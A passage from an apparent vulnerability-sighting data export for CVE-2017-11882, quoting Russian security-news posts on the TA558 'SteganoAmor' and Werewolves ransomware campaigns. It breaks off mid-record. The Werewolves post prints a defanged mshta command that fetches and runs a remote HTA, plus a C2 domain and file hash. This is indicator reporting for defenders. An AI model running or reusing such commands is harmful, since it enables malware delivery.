\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u0426\u0435\u043d\u0442\u0440\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Positive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 320 \u0430\u0442\u0430\u043a, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0451\u043d\u043d\u044b\u0445 \u044d\u0442\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u043e\u0439.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 TA558 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u043e\u0436\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0449\u0438\u0435 \u0442\u0430\u043a\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b, \u043a\u0430\u043a AgentTesla, FormBook, Remcos \u0438 \u0434\u0440\u0443\u0433\u0438\u0435. \u041e\u0442\u043b\u0438\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0435\u0440\u0442\u043e\u0439 \u0430\u0442\u0430\u043a \u044d\u0442\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u0433\u0430\u043d\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u2014 \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u0430\u0445.\n\n\u0410\u0442\u0430\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b Microsoft Office, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u0414\u0430\u043d\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u0443\u0441\u0442\u0440\u0430\u043d\u0451\u043d \u0435\u0449\u0451 \u0432 2017 \u0433\u043e\u0434\u0443, \u043e\u0434\u043d\u0430\u043a\u043e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0439 \u0446\u0435\u043b\u044c\u044e \u0434\u043b\u044f \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0438\u0437-\u0437\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0433\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0451\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 Microsoft Office.\n\n\u0415\u0441\u043b\u0438 \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f Microsoft Office, \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u043d\u0430 Visual Basic, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441 \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u044b\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u0414\u0430\u043b\u0435\u0435, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e PowerShell, \u0438\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0447\u0430\u0441\u0442\u043e \u0438\u043c\u0435\u043b\u0438 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043b\u044e\u0431\u043e\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u043e\u0439, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u00abgreatloverstory.vbs\u00bb, \u00abeasytolove.vbs\u00bb \u0438 \u0434\u0430\u0436\u0435 \u00abiaminlovewithsomeoneshecuteandtrulyyoungunluckyshenotundersatnd_\nhowmuchiloveherbutitsallgreatwithtrueloveriamgivingyou.doc\u00bb. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u0430\u043b\u0438 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043d\u0430\u0437\u0430\u043d\u0438\u0435 \u00abSteganoAmor\u00bb.\n\n\u0414\u043b\u044f \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a Google Drive, \u0447\u0442\u043e \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0438\u043c \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043a\u043e\u043d\u043d\u044b\u0435 FTP- \u0438 SMTP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0442\u0440\u0430\u0444\u0438\u043a \u043c\u0435\u043d\u0435\u0435 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c.\n\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u043c\u0438 \u0446\u0435\u043b\u044f\u043c\u0438 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u043e\u0432 \u0441\u0442\u0430\u043b\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438\u0437 \u041b\u0430\u0442\u0438\u043d\u0441\u043a\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0438, \u0445\u043e\u0442\u044f \u0430\u0442\u0430\u043a\u0438 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435 \u0438 \u0417\u0430\u043f\u0430\u0434\u043d\u043e\u0439 \u0415\u0432\u0440\u043e\u043f\u0435. \u0421\u0440\u0435\u0434\u0438 \u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u0445 \u2014 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u044d\u043a\u043e\u043d\u043e\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0435\u043a\u0442\u043e\u0440\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u0412 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043d\u044b\u0445 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c, \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044f \u0435\u0433\u043e \u043f\u043e\u0434 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 Excel. \u041e\u0442\u043a\u0440\u044b\u0432 \u0444\u0430\u0439\u043b, \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435\u0432\u043e\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043c\u0430\u043a\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e AgentTesla. \u042d\u0442\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043a\u0440\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432, \u043f\u043e\u0447\u0442\u043e\u0432\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u0438 \u0440\u0430\u0431\u043e\u0442\u044b C2-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043e\u043d\u0438 \u043f\u0440\u0438\u0445\u043e\u0434\u044f\u0442 \u043e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u041a\u0430\u043c\u043f\u0430\u043d\u0438\u044f SteganoAmor \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442, \u0447\u0442\u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u044b \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u0441\u0451 \u0431\u043e\u043b\u0435\u0435 \u0438\u0437\u043e\u0449\u0440\u0435\u043d\u043d\u044b\u043c\u0438 \u0438 \u0442\u0440\u0443\u0434\u043d\u043e\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043c\u044b\u043c\u0438. \u0412\u0430\u0436\u043d\u043e \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-04-18T09:20:53.000000Z"}, {"uuid": "e2ca25b2-ef06-4ca9-b963-c4fafacd2a2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/itsec_news/4447", "content": "\u200b\u26a1\ufe0f\u0425\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Werewolves \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0443\u044e \u0430\u0442\u0430\u043a\u0443 \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\n\n\ud83d\udcac\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 F.A.C.C.T. Threat Intelligence \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0432\u043e\u043b\u043d\u0443 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u043e\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u044b Werewolves. \u041d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0438 IT-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0435 \u0438 \u0441\u0442\u0440\u0430\u0445\u043e\u0432\u044b\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u0430\u0439\u0442 \u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f \u0441\u043f\u0435\u0446\u0442\u0435\u0445\u043d\u0438\u043a\u0438, \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b HTTrack Website Copier. \u0417\u0430\u0442\u0435\u043c \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0438 \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u0442\u0435\u043c\u0430\u043c\u0438 \u00ab\u0414\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u0430\u044f \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u044f\u00bb \u0438 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f\u00bb, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u0435 Cobalt Strike Beacon.\n\n\u0410\u0442\u0430\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n\n\u0416\u0435\u0440\u0442\u0432\u0430 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u00ab\u0420\u0435\u043a\u043b\u0430\u043c\u0430\u0446\u0438\u044f.doc\u00bb (SHA256: da9e7da207a17076785dbe28d6c7922e81d07e84529f80e7a38265c5316fc8d2), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882.\n\u041d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f HTA (HTML Application): mshta https://iplis[.]ru/laydowngrenade.jpeg -> hxxp://vlasta-s[.]ru/logista.hta.\nHTA-\u0444\u0430\u0439\u043b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 PowerShell, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u044e\u0449\u0443\u044e \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0443\u044e \u0448\u0435\u043b\u043b-\u043a\u043e\u0434 Cobalt Strike Stager.\nStager \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 Cobalt Strike Beacon, \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 watermark: 987654321 \u0438 C&C: poopy[.]aarkhipov[.]ru.\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Werewolves \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435 \u0434\u0435\u043d\u0435\u0433 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b-\u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044f LockBit3 (Black), \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0431\u0438\u043b\u0434\u0435\u0440\u0430. \u0416\u0435\u0440\u0442\u0432\u0430\u043c \u043f\u0440\u0435\u0434\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u043a\u0443\u043f\u0430 \u0432 \u0440\u0430\u0437\u043c\u0435\u0440\u0435 \u043e\u0442 $130 000 \u0434\u043e $1 000 000 \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0442\u043b\u0438\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0447\u0435\u0440\u0442\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0434\u0432\u043e\u0439\u043d\u043e\u0433\u043e \u0434\u0430\u0432\u043b\u0435\u043d\u0438\u044f: \u043f\u043e\u043c\u0438\u043c\u043e \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0437\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0434\u0430\u043d\u043d\u044b\u0445, \u043e\u043d\u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u0435\u0445, \u043a\u0442\u043e \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u043b\u0430\u0442\u0438\u0442\u044c \u0432\u044b\u043a\u0443\u043f, \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0441\u0430\u0439\u0442\u0435.\n\n\u0412 \u0430\u043f\u0440\u0435\u043b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430 \u0432\u044b\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0442\u0435\u043c\u044b \u0432\u0435\u0441\u0435\u043d\u043d\u0435\u0433\u043e \u043f\u0440\u0438\u0437\u044b\u0432\u0430 \u0438 \u0434\u043e\u0441\u0443\u0434\u0435\u0431\u043d\u044b\u0445 \u043f\u0440\u0435\u0442\u0435\u043d\u0437\u0438\u0439.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-20T15:12:27.000000Z"}, {"uuid": "6af44ed9-2835-479c-88a1-5c9e2c128cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", 